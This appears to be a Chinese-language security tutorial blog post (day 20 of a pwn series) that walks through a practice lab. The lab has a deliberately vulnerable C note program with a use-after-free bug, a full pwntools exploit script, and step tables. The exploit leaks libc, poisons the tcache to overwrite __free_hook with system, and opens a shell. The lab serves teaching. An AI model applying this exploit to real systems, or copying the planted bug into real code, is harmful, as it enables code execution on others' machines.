iT邦幫忙

2025 iThome 鐵人賽

DAY 20
0
Security

現在是pwn的天下!系列 第 20

【Day-20】進階UAF

  • 分享至 

  • xImage
  •  

前言

我們上次講到的uaf是比較基礎的練習題,但是今天我們要說的是要如何在沒有後門的情況下也可以開shell

LAB (參考自Zero to hero - Nerf version 2)

uaf_adv.c:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <string.h>

#define MAX_NOTES 8

void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
}

void menu() {
    puts("1. Add a note");
    puts("2. Delete a note");
    puts("3. Show a note");
    puts("4. Update a note");
    puts("5. Exit");
}

char *notes[MAX_NOTES] = {0};
uint32_t note_len[MAX_NOTES] = {0};

int free_index() {
    for (int i = 0; i < MAX_NOTES; ++i) {
        if (!notes[i]) return i;
    }
    return -1;
}

void add() {
    int index = free_index();
    if (index < 0) {
        puts("You have too many notes!");
        exit(-1);
    }

    printf("Note size: ");
    unsigned int size = 0;
    scanf("%u", &size);
    getchar();

    notes[index] = (char *)malloc(size);
    if (!notes[index]) {
        perror("malloc");
        exit(-1);
    }
    note_len[index] = size;

    printf("Enter your note: ");
    fgets(notes[index], size, stdin);
    puts("Note added!");
}

void delete() {
    int index = 0;
    printf("Note index: ");
    scanf("%d", &index);
    getchar();

    if (index >= MAX_NOTES || index < 0) {
        puts("Invalid index!");
        exit(-1);
    }
    if (!notes[index]) {
        puts("Note not found!");
        exit(-1);
    }

    free(notes[index]);

    puts("Note deleted!");
}

void show() {
    int index = -1;
    printf("Note index: ");
    scanf("%d", &index);
    getchar();

    if (index >= MAX_NOTES || index < 0) {
        puts("Invalid index!");
        exit(-1);
    }
    if (!notes[index]) {
        puts("Note not found!");
        exit(-1);
    }

    printf("Your note: %s\n", notes[index]);
}

void update() {
    int index = -1;
    printf("Note index: ");
    scanf("%d", &index);
    getchar();

    if (index >= MAX_NOTES || index < 0) {
        puts("Invalid index!");
        exit(-1);
    }
    if (!notes[index]) {
        puts("Note not found!");
        exit(-1);
    }

    printf("Enter your new note: ");
    fgets(notes[index], note_len[index], stdin);
    puts("Note updated!");
}

int main() {
    init();

    while (1) {
        menu();
        printf("> ");
        int choice;
        scanf("%d", &choice);
        getchar();

        switch (choice) {
            case 1:
                add();
                break;
            case 2:
                delete();
                break;
            case 3:
                show();
                break;
            case 4:
                update();
                break;
            case 5:
                puts("Bye!");
                exit(0);
            default:
                puts("Invalid choice.");
                break;
        }
    }
    return 0;
}

makefile:

uaf_adv: uaf_adv.c
        gcc uaf_adv.c -o uaf_adv -fstack-protector-all

exp.py:

from pwn import *

libc = ELF('../share/libc.so.6', checksec=False)

ld_path = "../share/ld-linux-x86-64.so.2"
binary_path = "../share/uaf_adv"

r = process([ld_path, binary_path], cwd="../share")

def add(size, note):
    r.sendlineafter(b'> ', b'1')
    r.sendlineafter(b': ', str(size).encode())
    r.sendlineafter(b': ', note)

def delete(idx):
    r.sendlineafter(b'> ', b'2')
    r.sendlineafter(b': ', str(idx).encode())

def show(idx):
    r.sendlineafter(b'> ', b'3')
    r.sendlineafter(b': ', str(idx).encode())
    r.recvuntil(b'Your note: ')
    leak = r.recvline().strip()
    return leak

def update(idx, new):
    r.sendlineafter(b'> ', b'4')
    r.sendlineafter(b': ', str(idx).encode())
    r.sendlineafter(b': ', new)

add(0x428, b'a'*8)
add(0x28, b'b'*8)

delete(0)

leak_addr = u64(show(0).ljust(8, b'\x00'))
success(f"Leaked address: {hex(leak_addr)}")
libc_base = leak_addr - (libc.symbols['__malloc_hook'] + 0x70)
success(f'libc_base: {hex(libc_base)}')

free_hook = libc_base + libc.symbols['__free_hook']
system = libc_base + libc.symbols['system']
success(f'free hook leak: {hex(free_hook)}')
success(f'system address: {hex(system)}')

add(0x38, b'a' * 8)
add(0x38, b'b' * 8)

delete(2)
delete(3)

update(3, p64(free_hook))

add(0x38, b'c' * 8)

add(0x38, p64(system))

add(0x20, b'/bin/sh\x00')

delete(6)

r.interactive()

流程

分類 說明
漏洞名稱 Use-After-Free (UAF)
漏洞來源 delete() 函數在 free 後沒有將 pointer 設為 NULL,造成 freed chunk 仍可透過 show()update() 存取
程式功能 Note Manager:新增、刪除、顯示、更新筆記
漏洞關鍵 - Use-After-Free (UAF)- Heap manipulation (malloc/free)- Tcache poisoning- Hook overwrite (__free_hook)
利用流程 Step 1 泄露 libc 地址(Unsorted Bin Leak)1. 分配大 chunk (0x428) → index 02. 分配小 chunk (0x28) → index 13. 刪除大 chunk → 放入 unsorted bin4. show(0) 讀取 fd/bk 指標,計算 libc base
利用流程 Step 2 Tcache Poisoning 任意寫1. 分配小 chunk (0x38) → index 22. 分配小 chunk (0x38) → index 33. 刪除 index 2 和 3 → 放入 tcache freelist4. update(3, p64(__free_hook)) → 修改 tcache fd 指向 __free_hook5. 下次 malloc 會返回 __free_hook 位址
利用流程 Step 3 覆寫 hook 與觸發 system1. malloc → 返回 __free_hook,寫入 system 地址2. malloc → 建立 chunk,內容為 "/bin/sh"3. free 該 chunk → 觸發 system("/bin/sh"),取得 shell
Chunk 對應表
Index Chunk Size Status 備註
0 0x428 freed 進入 unsorted bin,leak libc
1 0x28 allocated 小 chunk,暫未利用
2 0x38 freed 放入 tcache
3 0x38 freed → tcache fd 指向 __free_hook tcache poisoning 目標
4 0x38 allocated malloc 返回 tcache → 寫入任意地址 (__free_hook)
5 0x38 allocated malloc → 寫入 system
6 0x20 allocated → free 包含 /bin/sh,觸發 shell
Libc Hook 位址 __free_hook = libc_base + offsetsystem = libc_base + offset
攻擊核心 1. UAF 允許修改 freed chunk2. Unsorted-bin leak 泄露 libc base3. Tcache poisoning 取得任意寫4. Hook overwrite → system5. free("/bin/sh") → RCE
利用技術摘要 - Heap exploitation- UAF → 任意寫入- Libc leak → 計算基址- Tcache freelist manipulation- Hook hijacking (__free_hook)

Heap / Tcache 流程圖解

步驟 操作 Index Chunk Size 狀態 / 所在位置 備註
1 malloc 0 0x428 allocated 大 chunk,用來 leak libc
2 malloc 1 0x28 allocated 小 chunk,暫未利用
3 free 0 0x428 freed → unsorted bin 透過 show(0) 泄露 libc 地址
4 malloc 2 0x38 allocated 小 chunk,準備 tcache poisoning
5 malloc 3 0x38 allocated 小 chunk,準備 tcache poisoning
6 free 2 0x38 freed → tcache 放入 tcache freelist
7 free 3 0x38 freed → tcache 放入 tcache freelist
8 update 3 0x38 tcache fd 改為 __free_hook tcache poisoning,修改 freelist
9 malloc 4 0x38 allocated malloc 返回 tcache → 寫入任意地址 (__free_hook)
10 malloc 5 0x38 allocated malloc 返回 __free_hook,寫入 system 地址
11 malloc 6 0x20 allocated 建立 chunk,內容為 /bin/sh
12 free 6 0x20 freed → 調用 system("/bin/sh") 觸發 shell

圖解流程文字示意

Step 1~2: malloc chunks
+---------+ +-----+
| chunk0 | | c1 |
| 0x428 | |0x28 |
+---------+ +-----+
allocated allocated

Step 3: free large chunk → unsorted bin
chunk0 freed → points to main_arena (libc leak)

Step 4~5: malloc small chunks
+----+ +----+
| c2 | | c3 |
|0x38 | |0x38|
+----+ +----+
allocated allocated

Step 6~7: free small chunks → tcache
tcache[0x40]: c3 -> c2 -> NULL

Step 8: update c3 → overwrite fd → __free_hook
tcache[0x40]: __free_hook -> c2 -> NULL

Step 9~10: malloc → get __free_hook → write system
malloc(0x38) → c3' → write __free_hook
malloc(0x38) → c4 → write system

Step 11~12: malloc("/bin/sh") → free → system("/bin/sh")
RCE achieved

Pwned!
https://ithelp.ithome.com.tw/upload/images/20250825/20172088RSTcCkGsvL.png


上一篇
【Day-19】Use-After-Free (UAF)
下一篇
【Day-21】Fastbin attack
系列文
現在是pwn的天下!30
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言